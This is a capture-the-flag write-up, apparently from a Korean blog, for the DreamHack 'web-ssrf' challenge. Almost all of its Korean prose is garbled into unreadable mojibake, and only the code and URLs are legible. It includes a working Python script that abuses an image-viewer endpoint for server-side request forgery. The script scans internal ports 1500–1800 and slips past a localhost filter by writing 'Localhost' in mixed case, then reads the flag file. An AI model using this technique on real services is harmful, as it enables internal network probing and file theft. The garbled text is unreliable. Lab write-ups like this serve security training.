๐Ÿ”’ Cyber Security/Web Hacking (์›นํ•ดํ‚น)

[DreamHack] ๋“œ๋ฆผํ•ต ์›นํ•ดํ‚น: web-ssrf

์„ ๋‹ฌ 2023. 7. 17. 23:38
๋ฐ˜์‘ํ˜•

https://dreamhack.io/wargame/challenges/75/

 

web-ssrf

flask๋กœ ์ž‘์„ฑ๋œ image viewer ์„œ๋น„์Šค ์ž…๋‹ˆ๋‹ค. SSRF ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”. ํ”Œ๋ž˜๊ทธ๋Š” /app/flag.txt์— ์žˆ์Šต๋‹ˆ๋‹ค. Reference Server-side Basic

dreamhack.io

 

ํ•จ๊ป˜ ์‹ค์Šต์ธ ๋งŒํผ ํ’€์ด๋Š” ์ž๋ฃŒ์— ๋‹ค ๋‚˜์™€์žˆ๋‹ค.

๋‹ค๋งŒ ์ž๋ฃŒ์—์„œ ๋ถ€๋ฅดํŠธํฌ์Šค๋กœ ํฌํŠธ๋ฒˆํ˜ธ๋ฅผ ์ฐพ์•„๋‚ผ๋•Œ ํŒŒ์ด์ฌ์„ ์ด์šฉํ•˜๋Š”๋ฐ, ์ด ์ฝ”๋“œ๋ฅผ ํ›จ์”ฌ ๋” ๋‹จ์ˆœํ™”ํ•  ์ˆ˜ ์žˆ์ง€ ์•Š์„๊นŒ ์‹ถ์–ด์„œ ๊ฐ„๊ฒฐํ•˜๊ฒŒ ๋ฐ”๊ฟ”๋ดค๋‹ค.

 

import requests

ERROR_RESPONSE = "iVBORw0KGgoAAAANSUhEUgAAA04AAAF4CAYAAABjHKkYAAAMRmlDQ1BJQ0MgUHJvZmlsZQAASImVVwdYU8kWnltSIaEEEJASehOlSJcSQotUqYKNkAQSSogJQcSuLCq4dhEBG7oqouhaAFkr9rIo9v6woKKsiwUbKm9SQFe"

url= "http://host3.dreamhack.games:{์ ‘์†์ •๋ณด์— ๋‚˜์™€์žˆ๋Š” ํฌํŠธ}/img_viewer"

for i in range(1500,1801):
  response = requests.post(url, data={'url':'http://Localhost:'+str(i)+'/static/dream.png'})
  data = response.text
  if(ERROR_RESPONSE in data):
    print(str(i))
  else:
    print(data)

 

response๊ฐ€ ์•„์ฃผ ์•„์ฃผ ๊ธธ์ง€๋งŒ ๋ฌด์ž‘์œ„(1501 ์ •๋„) ๊ฐ’์„ ๋„ฃ์—ˆ์„ ๋•Œ ๋‚˜์˜ค๋Š” ์ด๋ฏธ์ง€ ์†Œ์Šค์ค‘ ์ผ๋ถ€๋งŒ ์ž˜๋ผ์„œ ERROR_RESPONSE ๋ณ€์ˆ˜๋กœ ๋งŒ๋“ค์–ด์คฌ๋‹ค.

๋ฌธ์ œ์—์„œ ์‚ฌ์šฉํ•˜๋Š” api๋ฅผ url ๋ณ€์ˆ˜์— ์ €์žฅํ•ด์„œ requests.post๋กœ ์ ‘์†ํ•œ๋‹ค. 

request body์— ๋„ฃ์„ ๋ฐ์ดํ„ฐ๋Š” {url: } ํ˜•ํƒœ๋‹ค. (ํŽ˜์ด์ง€ ๋‚ด๋ถ€์—์„œ ์ธํ’‹ํ•„๋“œ์— ์ง์ ‘ ์ž…๋ ฅํ•˜๋Š” ๊ฒƒ ๊ณผ ๋™์ผ)

์ฝ”๋“œ ๋‚ด์—์„œ 127.0.0.1 ๊ณผ localhost๋ฅผ ์ด์šฉํ•œ ์ ‘์†์„ ๋ง‰์•„์„œ Localhost๋กœ ๋Œ€๋ฌธ์ž๋งŒ ๋ฐ”๊ฟ”์คฌ๋Š”๋ฐ ๋šซ๋ ธ๋‹ค. hex๊นŒ์ง€๋Š” ํ•„์š”๋„ ์—†์—ˆ์Œ

๊ทธ๋ฆฌ๊ณ  for๋ฌธ์œผ๋กœ ๋‹ค์Œ ํฌํŠธ๋ฒˆํ˜ธ์— ๋„ฃ์„ ์ˆซ์ž๋ฅผ 1500 ์—์„œ 1800๊นŒ์ง€ ์ˆœํšŒํ•˜๋ฉฐ ์ ‘์†์„ ์‹œ๋„ํ•œ๋‹ค

์‘๋‹ต์— ERROR_RESPONSE๊ฐ€ ํฌํ•จ๋˜์–ด์žˆ๋‹ค๋ฉด ํŒจ์Šค, ์•„๋‹ˆ๋ผ๋ฉด ์‘๋‹ต๊ฐ’ ์ถœ๋ ฅ

 

ํŒŒ์ด์ฌ์„ ์„ค์น˜ํ•˜์ง€ ์•Š์•„์„œ ๊ตฌ๊ธ€ ์ฝ”๋žฉ์œผ๋กœ ๋Œ๋ ธ๋Š”๋ฐ๋„ ์•„์ฃผ ์ž˜ ๋Œ์•„๊ฐ„๋‹ค ")

 

๋‚˜์˜ ๊ฒฝ์šฐ 1692ํฌํŠธ์—์„œ๋งŒ ๋‹ค๋ฅธ ์‘๋‹ต์ด ๋‚˜์™”๋‹ค.

์ •ํ™ฉ์ƒ 1692ํฌํŠธ๊ฐ€ ์—ด๋ฆฐ ํฌํŠธ์ž„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

์—ด๋ฆฐ ํฌํŠธ๋ฅผ ์ด์šฉํ•˜์—ฌ flag.txt๋ฅผ ๋ฐ›์•„์˜ค๊ณ 

์ด๋ฏธ์ง€๋Š” ์•ˆ๋œจ์ง€๋งŒ ์ด๋ฏธ์ง€ ์†Œ์Šค๋กœ ์ฃผ์–ด์ง„ base64 ์ฝ”๋“œ๋ฅผ ๋””์ฝ”๋“œํ•˜๋ฉด

 

 

Base64 ๋””์ฝ”๋“œ ๋ฐ ์ธ์ฝ”๋“œ - ์˜จ๋ผ์ธ

Base64ํฌ๋งท์—์„œ ๋””์ฝ”๋“œํ•ด๋ณด์„ธ์š”. ์•„๋‹ˆ๋ฉด ๋‹ค์–‘ํ•œ ๊ณ ๊ธ‰์˜ต์…˜์œผ๋กœ ์ธ์ฝ”๋“œํ•ด๋ณด์„ธ์š”. ์ €ํฌ ์‚ฌ์ดํŠธ์—๋Š” ๋ฐ์ดํ„ฐ ๋ณ€ํ™˜ํ•˜๊ธฐ์— ์‚ฌ์šฉํ•˜๊ธฐ ์‰ฌ์šด ์˜จ๋ผ์ธ ๋„๊ตฌ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

www.base64decode.org

 

ํ”Œ๋ž˜๊ทธ ํš๋“ ์™„

๋ฐ˜์‘ํ˜•